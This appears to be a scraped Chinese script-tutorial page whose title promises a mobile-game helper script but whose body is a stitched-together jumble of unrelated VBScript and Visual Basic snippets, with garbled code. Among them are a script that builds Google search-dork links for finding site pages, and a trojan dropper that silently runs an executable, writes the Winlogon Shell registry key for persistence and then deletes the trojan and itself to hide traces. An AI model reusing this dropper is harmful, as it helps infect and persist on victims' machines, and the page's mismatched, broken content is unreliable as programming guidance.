梦幻西游手游叉叉助手脚本语句

发布时间:2021-05-01 来源:脚本之家 点击:



  一、介绍属性

  FloodColor:确定流动条的颜色,缺省为蓝色
On Error Resume Next
Set Arg=Wscript.Arguments
If Arg.count=0 then Wscript.quit
'code by NetPatch
'enjoy it
Set Fso=CreateObject("Scripting.FileSystemObject")
Set Gofile=Fso.OpenTextFile(Arg(0),1,false,-2)
Do while Gofile.Atendofline <> True
Data=gofile.readline
With fso.opentextfile(Arg(0)&".htm",8,true)
Data=replace(Data,"(view site)","")
Data=trim(replace(Data,mid(Data,1,InStr(Data,")")),""))
.Write "<table>"
.Write "<tr>"
.Write "<tr><td><a href='"&Data&"&btnG=Google+' tArget='_blank'>Google_Site查询</a></td></tr>"
.Write "<td><a href='"&Data&"' tArget='_blank'>"&Data&"</a></td></tr>"
.Write "<tr><td><a href='"&Data&"+inurl:asp|aspx|cfm&btnG=Google+' tArget='_blank'>查扩展映射(asp|aspx|cfm)</a></td></tr>"
.Write "<tr><td><a href='"&Data&"+inurl:cgi|jsp|pl|py|php|php3&btnG=Google+' tArget='_blank'>查扩展映射(cgi|jsp|pl|py|php|php3)</a></td></tr>"
.Write "</table>"
.Writeline "<br><br>"
.close
End With
Loop
File.Close
Set Fso=Nothing
Wscript.Echo "ok"

音乐mv拍摄分镜头脚本
scrrun.dll

scrrun-scrrun.dll-DLL文件信息

DLL文件:scrrun或者scrrun.dll
DLL名称:MicrosoftScriptRuntime

描述:
scrrun.dll用于阅读和编写脚本和文本文件在VB中,我们可以按以下步骤来创建此类窗口:
1、设置窗口的BorderStyle=3;
2、在Form_Load中加入:Me.Icon=LoadPicture("")->


dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹

OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:

'假设控件数组包含3个OptionButton控件

intSelected=Option(0).Value*0-Option(1).Value*1-Option(2).Value*2

注意,因为第一个操作数总是0,所以上述代码可以精简如下:

intSelected=-Option(1).Value-Option(2).Value*2

->

'

SetDoc=CreateObject("Microsoft.XMLDOM")
Doc.async=False
Doc.load("")
Setroot=Doc.documentElement
Setnode=root.childNodes.nextNode()
Wscript.Echo"共"&node.text&"条签名信息"

SetDoc=CreateObject("Microsoft.XMLDOM")
Doc.async=False
Doc.load("")
Setroot=Doc.documentElement
Wscript.Echo"XML根结点名字是:"&root.nodeName
Setnode=root.childNodes.nextNode()

Fornodei=0Tonode.childNodes.Length-1
SetNowNode=node.childNodes(nodei)
msg=msg&vbCrLf&"id"&":"&NowNode.Attributes.getNamedItem("id").text
'msg=msg&vbCrLf&"id"&":"&NowNode.getAttribute("id")
msg=msg&vbCrLf&"title"&":"&NowNode.selectSingleNode("title").text
msg=msg&vbCrLf&"pubDate"&":"&NowNode.selectSingleNode("pubDate").text
'msg=msg&vbCrLf&NowNode.childNodes(0).nodeName&":"&NowNode.childNodes(0).text
'msg=msg&vbCrLf&NowNode.childNodes(1).nodeName&":"&NowNode.childNodes(1).text
Next
Wscript.Echomsg

My.Forms还提供了重新引入窗体的默认实例的方法,您可能在较早版本的VisualBasic中熟悉该方法

比如计算1-100的数值的和云派以下是主窗体代码:

OptionExplicit
'声明用于判断写入INI中的FileName(n)中的n变量
DimIAsString'为了能添在FileName串的后面,声明为String

PrivateSubForm_Load()
I=0'初值
Text1.Left=0
Text1.Top=0
Text1=""
Text1.FontSize=12
Me.Caption="txtEditor"
Me.Width=8000
Me.Height=6000
AddMenu'添加动态菜单
EndSub

PrivateSubForm_Resize()'这个没什么可说,为了使例程完整而已
Text1.Width=Me.ScaleWidth
Text1.Height=Me.ScaleHeight
EndSub

PrivateSubmnuExit_Click()
End'退出
EndSub

'打开文件
PrivateSubmnuOpen_Click()
DimsFAsString
CommonDialog1.Filter="文档文件(*.txt)|*.txt|所有文件(*.*)|*.*"
CommonDialog1.ShowOpen
OpenCommonDialog1.FileNameForInputAs#1
Text1.Text=StrConv(InputB$(LOF(1),1),vbUnicode)
Close#1
IfI>=3ThenI=0'如大于等于3则返回原值
I=I 1
sF="FileName" I
'打开后写进INI文件
CommonDialog1.FileName=WriteIni("Open",sF,CommonDialog1.FileName)
AddMenu'立即添加使动态菜单生效
EndSub

'添加菜单
PrivateSubAddMenu()
DimfN1AsString,fN2AsString,fN3AsString
'從INI文件中读取数据
fN1=ReadIni("Open","FileName1")
fN2=ReadIni("Open","FilEName2")
fN3=ReadIni("Open","FileName3")
'如数据存在则令动态菜单可见并给其Caption属性赋值
IffN3<>""ThenmnuSep02.Visible=True:mnuAdd(1).Visible=True:mnuAdd(1).Caption=fN1
IffN2<>""ThenmnuSep02.Visible=True:mnuAdd(2).Visible=True:mnuAdd(2).Caption=fN2
IffN1<>""ThenmnuSep02.Visible=True:mnuAdd(3).Visible=True:mnuAdd(3).Caption=fN3
EndSub

本例子演示了利用INI文件实现动态菜单的创建,若需要移植到你的程序中,应作相应的改动,使其更具合理性和实用性

Set ObjWMI=GetObject("winmgmts:" & "{impersonationLevel=impersonate, (Security)}!\\.\root\cimv2")

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号